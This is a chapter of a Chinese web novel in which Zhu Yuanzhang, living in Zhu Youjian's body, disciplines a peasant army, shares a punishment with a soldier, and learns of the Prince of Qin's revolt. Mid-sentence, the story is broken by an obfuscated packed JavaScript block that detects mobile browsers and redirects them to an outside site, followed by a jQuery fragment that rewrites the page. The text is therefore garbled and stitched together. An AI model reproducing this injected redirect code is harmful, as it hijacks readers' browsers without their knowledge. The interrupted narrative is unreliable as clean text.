可他还是非常不服气,在他的脑子里,垃圾就是可以随便扔的,方便就是可以随地来的,这片广袤的大地会温和地接受一切。 这是他几十年的人生经验,但现在,这个十来岁的小子竟然教训起他了。 旁边围观的人里面,有他的同乡、有与他住在一个营里的人,而眼前的这个乳臭未干的家伙,竟然要打他的军棍! 李老四感觉自己的脸仿佛烧了起来,血液直冲大脑。 在这样的情绪支配下,他做出了自己都想不到的举动:直接用头朝朱元璋撞过去。 朱由检的身体没什么体能基础,自然比不上当年的朱元璋,但朱元璋有丰富的作战经验,在他眼里,李老四的动作慢的出奇。 更何况,他就是为了激怒李老四,所以也早有准备。 朱元璋闪身躲过,趁着李老四下盘不稳,一把提住了他的领子,又把他像拎小鸡一样把他拎正了。 李老四的脸涨得铁青。这事儿是他自己先动的手,却一点好处都没捞着,刚刚他还都快要摔倒了,还是这年轻人拎住了他。 感觉更耻辱了! “你的下盘不稳,自然没法成功。可即便是你眼中的毛头小子,也可以轻易地掀翻你,你还要用年龄来说事吗?” 李老四站稳身子,不吭声了。 他平静道:“昨天军令刚刚颁布,你就犯了军令,应当打十下军棍。” “但是是我没有说清楚,我也有责任,所以,我和你一起挨这十军棍。” 所有人都愣住了。 卢象升豁然上前:“陈八尚未及冠,我身为他的表兄,没有尽到管教责任,我来代为受过。” 他的目光紧紧盯着朱元璋,其中的恳求几乎就要溢出来。 朱元璋接收到了这份恳求,但他没有接受,而是随手指了刚刚附和李老四的人:“你来打这十军棍。” 那人左看右看,犹豫地上前。 起义军的条件不好,所谓的军棍也不过是木棍,大约有只有半个手腕那么粗。 被点名行刑的人明显受到震动,又不是专业行刑者,顶着卢象升要杀人的目光,哆哆嗦嗦地敲了朱元璋的后腰十下。 挨完十军棍,朱元璋的痛感并不尖锐,只觉得脊背麻木,阵阵钝痛爬上脖颈。 这下,连一开始支持李老四的人都有些于心不忍了。 再看李老四,更是头埋快到地底下去。对于他来说,十军棍的惩戒意味远远大于痛感。 可明明是他犯了军规,颁布军令的人却和他一起挨打! 李老四回到营中,满脑子想的都是刚刚发生的事情。 他恨的明明是贪官污吏,怎么还没把这种人除掉,棍子却先打到了这个和他站在同一战线的年轻人身上呢? 想着想着,李老四终于受不了了。 “喂…陈八。” 李老四做贼一般来到了朱元璋的帐篷,吭哧吭哧憋了半天,终于开口:“和你说声对不住,俺之后会好好守规矩的。” 说完,也不管朱元璋反应如何,硬是塞给他一叠烙饼,接着转身就跑,边跑边喊:“这是俺娘子做的,送你了!” 朱元璋看着手里的烙饼失笑。 就像刚刚李老四说的,王二和郑彦夫的这支合兵,是有家眷营地的,住的大多是将士们的妻子。 不过人数不多,大约只有九百多人。 有些人参与起义是携家带口,但起义过程颠沛流离,还有杀头的风险,所以许多家庭也让老弱妇孺留在了家乡。 当然,更多的原因是那些老弱跑不动,只有健壮的男男女女才能跟随着成为一支军队。 总之眼下这支队伍,如果四舍五入,其实能有五千人,但真正能拉出来打仗的,着实数量不多。 朱元璋握着尚有余温的烙饼,回到了帐篷。 此时卢象升和方正化去排队领晚饭了,正好,他也借机躲会儿懒。 大营里的环境相当糟糕,尘土飞扬,寒气从土壤里面冒出来,地面凹凸不平,开裂干涸,还遍布着碎石,挖不平、铲不开,要找到一个稍微平整些的地方放下铺盖,就是一件不容易的事情。 再加上这里的天气,即便对于朱元璋而言,也是一个难题。他当年到濠州投奔郭子兴,那儿至少比陕西要暖和一些,而且已经成了规模,领兵不至于如此费劲。 这时候,朱由检从他的肩膀上滚起来,飘到空中,与朱元璋的眼睛齐平。 小小的团子十分忧虑:“我的身体不会出什么问题吧?” 这里的卫生条件着实令人担忧。 “只能忍着,小心一点。”朱元璋找了个位置,小心翼翼地趴了下来,与朱由检四目相对。 朱由检犹豫了一下,终于忍不住将心中的疑惑问了出来:“今天的事情如果是我,我可能会与他们同吃同住,来培养感情,让他们信任我,这样军令就能自然而然地推行下去。太.祖爷,你觉得这样合适吗? 他小心翼翼地请教朱元璋,这也是他第一次开口诉说自己的方案。 朱元璋很高兴能听到他自己想要探究,于是他先给出结论:“不可以。” 朱由检一愣,接着急切地说:“我看到那些人,他们本来应该在田里好好种地,为大明培养生机,但他们吃不饱饭,衣不蔽体,食不果腹,我觉得——” “你觉得你的心很痛,不由自主地想要补偿他们、想要靠近他们,对不对?” 朱由检用力点头:“看到这样的场景,我难道不应当以身作则,与他们共患难吗?” 朱元璋摇了摇头:“因为,现在你的职位是将军。” 朱由检的眉心拧了起来,似乎在困惑,又似乎是在努力思考。 朱元璋看着眼前漂浮在空中的小小一团,感觉心情都好了些。 上一世,他的女儿含山公主小时候就很爱傀儡戏,那些傀儡娃娃有着画上去的五官,穿着精致的小衣服,只不过一点也不像真人。 含山有一段时间对傀儡娃娃特别痴迷,每天给它们换衣服、摆造型,还用它们演她自己编的戏。 那时候,他还觉得不过是女儿家爱玩的小物件,现在看看朱由检,他可算是理解了含山的乐趣。 谁会不喜欢一个粉雕玉琢的小团子呢? 于是,他继续解释: “如果与下属同吃同睡,当然可以凝聚军心,增进情谊,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148457|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士兵们感觉到眼前的将军不是一个缥缈的象征,而是一个实实在在的人。 “但这样的行为却非常不利于你的后续管理,作为当权者,必须要与你管辖统治的人保持距离。 “说到底,你是人,是人就有缺点,而距离太近则会让你的缺点暴露无遗,也会让下属对你失了敬畏心。说的明白些,就是靠的太近,你就管不住他们。 “高位者自上而下的怜惜,是恩情,但如果不高位者从云端跌落,那这份恩情就是不值钱的东西。 “你有仁德之心,这很好。 “但是,当你的仁德、或者是其他特质摆在了明面上,和属下拉到了一个层次上,它就变成了可以利用的东西。” 当年的太子朱标就是这样一个好孩子,可他的早逝一直是朱元璋心头的一根刺。 朱元璋常常忍不住想,如果朱标还活着,顺利继位,推行的一定就会是仁德之政,会开创出辉煌的盛世。因为仁政是他们一起定下的基调。 收回思绪,朱元璋继续说了下去: “君心是不可以被算计和揣测的东西,你得牢牢记住这一点。” 朱由检若有所悟。 … 接下来几天的练兵就顺利多了,朱元璋自己和李老四一起挨了十军棍的事情已经传开。 整个军营的氛围都好了许多,再检查,就没有发现出现将士不注意卫生的情况。 十天时间一晃而过,第十一日,起义军启程。 第十六日的清晨,卢象升带来了一个消息。 “陛…陈八,接到密报,秦王谋反。” 朱元璋颔首:“早有预料。”但这速度也太快了,秦王比他设想中更加着急一点。 即便是如此温和的削藩策略,也不是人人能接受的。 变革总是会触动一批人的核心利益。 光朱元璋知道的,就有秦王多次向天启帝要盐引,还一口气给五十多个私生子请名,捞钱捞的不亦乐乎。 现在朱元璋来了,嘴上说着教化,手上做的却是要把他白花花的银子抢走的事儿。 这怎么能忍?! 可秦王不知道的是,朱元璋就等着这一出呢。 甚至,他特意远离京城,又让周王率先去找被天幕点名的“天下第一藩”秦王,也是存了这样的心思。 虽然新成立的冬时内阁处理政事还算顺利,但他作为皇帝,这么多天没上朝,有心人已经开始揣摩了。 “还有……周王奉旨教化秦王,正在西安府境内;陕西副使陈奇瑜当时也在西安,因为不愿与秦王同谋,被软禁在秦王府中,臣担心他们和西安城内百姓都有生命危险。” 朱元璋抬眼,陈奇瑜这个名字,他在天幕里见过,仿佛是劝谏老唐王不要改立世子的那个官员? “还有。”卢象升皱着眉说,“听说这次秦王谋反,很大程度上是因为秦王世子朱存机的教唆。” 朱元璋捻了捻手心:“不安分的世子,到时候一并砍了就是。” 可不知为何,这个名字刚冒出来,朱元璋的心口就陡然一震,格外微妙,总觉得身体的呼气口被堵住了似的,一口气喘不大上来。 当朱元璋提出这个疑问的时候,朱由检仔细调动了自己全部的记忆,给出肯定的答复:“关系太远,我必是没见过他的。” 朱元璋却还是觉得不大对劲。自从他本人的魂魄穿进了朱由检的身体,再加上天幕现世,他对这些类似直觉的东西就格外敏感。 “等俘虏了这个世子,好好审一审再杀,我亲自审。”朱元璋这么嘱咐道。